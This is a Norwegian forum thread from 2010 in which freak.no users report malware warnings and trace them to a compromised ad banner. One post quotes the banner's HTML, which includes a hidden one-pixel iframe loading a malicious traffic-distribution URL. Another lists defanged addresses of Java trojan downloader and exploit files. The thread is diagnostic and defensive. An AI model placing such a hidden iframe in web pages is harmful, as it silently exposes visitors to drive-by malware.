Advarsel: Dette nettstedet kan skade datamaskinen!

Nettstedet på freak.no inneholder elementer fra nettstedet www.nbvhhdtn321.com. Sistnevnte ser ut til å være vert for programvare som kan skade datamaskinen eller utføre handlinger uten ditt samtykke. Bare det å gå til en slik side kan være nok til å infisere datamaskinen
Hvis du vil ha detaljert informasjon om problemene med disse elementene, kan du gå til Googles Diagnoseside for nettsikkerhet for www.nbvhhdtn321.com

får opp denne meldingen når jeg prøver å på freakforum :S kun i google chrome da =/ wtf ?

Sist endret av pokemon; 29. juni 2010 kl. 11:30.

Mathsterk

518 107

jeg fikk advarsel i mozilla brannrev(firefox)

blodpromp

2 0

Fikk opp en advarsel fra Avast om at en trojaner med samme navn var blokkert, dette var forøvrig i Firefox.

Slurpeedelic

431 40

Fikk samme sak.

Spelly

Innestengt

4.205 1.672

Ser at jeg ikke var alene...
Årsak til dette?

Sist endret av Spelly; 29. juni 2010 kl. 11:57.

djxfade

FL Studio Guru

2.216 828

Samme her...

Sist endret av djxfade; 29. juni 2010 kl. 12:10.

epledisco

hest er best

233 32

Jeg og :/ Dog kun på den stasjonære og ikke på skolepcen (kjører Google chrome på begge).

djxfade

FL Studio Guru

2.216 828

Får opp at freak inenholder skadelig innhold fra "www.nbvhhdtn321.com.".

Rapport fra Google angående problemet:

Sitat av http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=http://www.nbvhhdtn321.com/tds/in.cgi%3F5&client=googlechrome&hl=no

Sikker surfing
Diagnoseside for nbvhhdtn321.com

Hva er gjeldende oppføringsstatus for nbvhhdtn321.com?
Nettstedet er oppført som mistenkelig – besøk på dette nettstedet, kan skade datamaskinen.

En del av dette nettstedet ble oppført for mistenkelig aktivitet 1 gang(er) de siste 90 dagene.

Hva skjedde da Google besøkte dette nettstedet?
Av de 1 sidene vi har testet på dette nettstedet i løpet av de siste 90 dagene, førte 0 side(r) til at skadelig programvare ble lastet ned og installert, uten brukerens samtykke. Siste gang Google besøkte dette nettstedet, var den 2010-06-28, og siste gang mistenkelig innhold ble funnet på dette nettstedet, var den 2010-06-27.
Malicious software includes 9 trojan(s).

This site was hosted on 1 network(s) including AS29106 (VOLGAHOST).

Har dette nettstedet opptrådt som et mellomledd som har forårsaket ytterligere spredning av skadelig programvare?
Det ser ut som om nbvhhdtn321.com har fungert som mellomledd ved infisering av 7 nettsted(er), medregnet eduzones.com/, mbt3th.us/, beursduivel.be/.

Har dette nettstedet vært vert for skadelig programvare?
Ja, dette nettstedet har vært vert for skadelig programvare de siste 90 dagene. Det infiserte 5 domene(r), medregnet eduzones.com/, laps3.com/, livesportontv.com/.

Hvordan skjedde dette?
I noen tilfeller kan en tredjepart legge inn skadelig programkode på lovlige nettsteder, noe som kan føre til at vi viser advarselmeldingen.

Neste trinn:
Tilbake til forrige side.
Hvis du eier dette nettstedet, kan du be om en gjennomgang av det ved bruk av Googles Verktøy for nettredaktører. Du finner flere opplysninger om slik gjennomgang, på Googles brukerstøtte for nettredaktører

Vis hele sitatet...

lordbost

96 13

http://lordbost.com/images/upload/images/012778033883.jpg

Nath

1.119 248

Tipper det er Nyhetsspeilet som står bak.

Deadlock Radium

Friend of Laphroaig

2.283 1.433

Merkelig, jeg har ikke fått virusvarsler i min Firefox i hele natt eller i dag.

ceena2k

18 2

Jeg og får den! -.-

lolidude

324 63

Burde jeg være redd siden jeg ikke har fått noen warning? D:

Totskalle

Still am.

1.502 778

Samme greia her, Safari på Windows. Dette er jo en melding man vanligvis får opp ved forsøk på å gå inn på "ulovlige" sider. Admin og Crew, noen som vet hva som er greia?

Sitat av lolidude

Burde jeg være redd siden jeg ikke har fått noen warning? D:

Vis hele sitatet...

Du burde ta til vurdering å bytte nettleser

Nettlesere som ikke gir ut denne advarselen er ganske fattige

Sist endret av Totskalle; 29. juni 2010 kl. 12:43.

Slurpeedelic

431 40

har fått den advarselen to ganger, men det er en stund siden sist. så kanskje NFO har fikset det. ser ut som noen prøver å infisere freak.no.

JibbeSander

529 240

fikk det ikke på nettleseren men det kom opp en melding på Avast!

Gjest

jeg fikk ikkenoe advarsel i opera.

Totskalle

Still am.

1.502 778

Uansett hvis man vet å beskytte maskinen sin er ikke en sånn melding så mye å bry seg om.

FuzzT

Medlem

472 139

Får ikkje melding på Firefox. (Oppdatert til siste versjon)

Slurpeedelic

431 40

Jeg fikk ikke noe melding av anti-viruset mitt, men det kan jo skyldes brannmuren her på jobben >

Grix

NaN

2.045 1.055

Jeg får heller ikke noen melding, har nyeste firefox og Avira.

Gjest

IKKE klikk på linken!...jeg fikk en skitten bug i opera som gjør at jeg ikke kan skirve noe + at når jeg klikker på linker så går jeg tilbake til forrige side jeg var på.--.-

pokemon ur evil..

lolidude

324 63

Sitat av Totskalle

Samme greia her, Safari på Windows. Dette er jo en melding man vanligvis får opp ved forsøk på å gå inn på "ulovlige" sider. Admin og Crew, noen som vet hva som er greia?

Du burde ta til vurdering å bytte nettleser

Nettlesere som ikke gir ut denne advarselen er ganske fattige

Vis hele sitatet...

Har jo nyeste versjon av FF

Administrator

Hmm, det ser ut som om det er reklamesystemet her som ikke er helt sikkert, for det ligger en liten iframe inne i det som leder til noen nettsteder vi ikke er glad i.

Gjest

http://www.semiaccurate.com/forums/s...ad.php?p=55557

mulig det er til hjelP?

Sist endret av random40348; 29. juni 2010 kl. 13:56.

Totskalle

Still am.

1.502 778

Sitat av meitemark

Hmm, det ser ut som om det er reklamesystemet her som ikke er helt sikkert, for det ligger en liten iframe inne i det som leder til noen nettsteder vi ikke er glad i.

Vis hele sitatet...

Kan det fikses enkelt?

Gjest

http://www.byggahus.se/forum/informa...30-trojan.html

http://forum.avira.com/wbb/index.php...&postID=972532

http://jsunpack.jeek.org/dec/go/?lis...bvhhdtn321.com

Sist endret av random40348; 29. juni 2010 kl. 13:59.

trauMa

1.338 447

Jeg har ikke fått noen warning. Google chrome @ Mac OS 10.6.4

Sist endret av trauMa; 29. juni 2010 kl. 14:03.

Administrator

De som bruker nettlesere med mulighet til å blokkere javascript (feks firefox med noscript) vil selvfølgelig ikke bli plaget med dette.

mini_me

76 2

fikk advarsel i opera også...

Administrator

Sitat av mini_me

fikk advarsel i opera også...

Vis hele sitatet...

De aller fleste netteleserne med slike blokkeringssytemer bruker google som kilde, men laster ned listen over farlige nettsteder på forskjellige tider, så alle vil få det etterhvert.

Nath

1.119 248

Fått flere meldinger iløpet av dagen. Bruker kun nyeste firefox og avast. Avast regarer hver gang jeg trykker på FreakForum ikonet.

merulz

Superlurker

407 188

Fikk det samme kl. 16:02 i dag
HTML:RedirME-inf[Trj]

Avast stoppet det glatt. Men reagerte på at Java ikonet plutselig poppet opp, da det ikke pleier å være noe på freak.no som krever java.

G-force

231 15

Samme skjer hos meg i Chrome....

somnium

Multi-dysfunksjonell

2.187 1.990

kanskje noen som linker til svartelistede sider i signatur eller lignende? eller i tråder? reklamen på siden?

morpheum

37 5

eset blokkerer disse to javadingsene hos meg når jeg går inn på nff.
hxxp://birio.in/x/78490.jar a variant of Java/TrojanDownloader.Agent.NBA trojan
hxxp://birio.in/x/j2_t895.jar a variant of Java/Exploit.Agent.NAC trojan

redirecte birio.in og www.nbvhhdtn321.com til 127.0.0.1 i /etc/hosts burde fikse problemet intil videre.

bah.. de genererer nye domener, prøvde med IE og eset blokka de samme trojanerne, men denne gangen fra insed.in

Sist endret av nso; 30. juni 2010 kl. 04:14.

VivaLatrina

Refleksvest

3.331 1.183

Kode

<div style="padding: 5px; margin-bottom: 15px; text-align: center; text-decoration: none;" class="alt1 adBelowNavbar"><a href='http://freak.no/tools/ox/www/delivery/ck.php?oaparams=2__bannerid=8__zoneid=5__cb=56e4bf73ca__oadest=http%3A%2F%2Fhost1.no' target='_blank'><span style="color: black;"><b>Host1.no - Hosting for Freaks!</b> Fra 19,-/mnd, 15% rabatt med rabattkode "nFF", gratis domene hvis du betaler for 1 år! </span> Besøk oss på Host1.no!
<iframe src="http://www.ieudhysta51.com/tds/in.cgi?default" width="1" height="1" hspace="0" vspace="0" frameborder="no" scrolling="no"></iframe></a><div id='beacon_56e4bf73ca' style='position: absolute; left: 0px; top: 0px; visibility: hidden;'><img src='http://freak.no/tools/ox/www/delivery/lg.php?bannerid=8&amp;campaignid=9&amp;zoneid=5&amp;loc=1&amp;referer=http%3A%2F%2Ffreak.no%2F&amp;cb=56e4bf73ca' width='0' height='0' alt='' style='width: 0px; height: 0px;' /></div></div>

koden som utgjør problemet ligger i den andre linja der. iframen har forøvrig flyttet seg fra venstresiden av reklamebaren, til høyresiden

morpheum

37 5

damn, Viva var litt kjappere enn meg

oh well.. sende ieudhysta51.com til 127.0.0.1...

curx

672 105

Får den både på jobben og hjemme. Tror det er en av reklamebannerene som er suspekte.

skepsis

liker bass

1.340 299

fikk nettopp samme melding her ^^ aven min har ikke reagert tho. mse.

Gunnar Gul

266 72

Når jeg gikk inn på freak nå, så begynte chrome automatisk å laste ned flere filer. Fikk en advarsel om at nettsiden prøvde å laste ned filer, og jeg trykket "ikke tillatt". Alikevell ser jeg at en fil kalt "bfd3538d4530b690541534ff1766925d.php" har blitt lastet ned.

Mathsterk

518 107

Må jo være noen som har cracket seg inn på nFF!

somnium

Multi-dysfunksjonell

2.187 1.990

Sitat av mathsterk

Må jo være noen som har cracket seg inn på nFF!

Vis hele sitatet...

nei, det må det ikke.

Administrator

Sitat av mathsterk

Må jo være noen som har cracket seg inn på nFF!

Vis hele sitatet...

Der framen ligger er det også et reklamesystem, så ja, noen har nok hacket/cracket seg inn på reklamesystemet og lagt fra seg en liten gave der.

edit: Nei, de har ikke hacket seg inn på selveste nFF.

Sist endret av meitemark; 29. juni 2010 kl. 17:09.

cazber

501 159

Når jeg nå gikk inn på freak.no, så åpnet pdf leseren min seg, og prøvde å laste ned "image.pdf.pdf" (litt usikker på navnet, da jeg lukket så raskt jeg kunne).

bronze

Hero of Time

682 255

Denne ble tydeligvis snappet opp av min custom URL-liste som jeg har lagt til opera sin adblocker. Har ikke reklame på hele NFF.

otimate

281 106

Avg har funnet 3 trojanere etter at jeg besøkte nff.

Gunnar Gul

266 72

Regner med at pcen min er full av trojanere og annet rart nå. Hadde vært greit å brukt antivirus. Installerer ubuntu igjen jeg...

Veggen

Crew

2.919 1.913

Kom på for første gang i dag nå, men har ikke fått noen form for advarsel, har nettopp byttet til windows securety essentials, noen som bruker denne og fått noen form for advarsel?

Jeg bruker foxit reader med java skript deaktivert, kan dette ha noe med at jeg ikke blir angrepet, eller har jeg blitt angrepet uten å være klar over det?

Har denne trojaneren eller hva det er blitt fjernet fra reklamen, slik at vi igjen trygt kan besøke freak forum?

cazber

501 159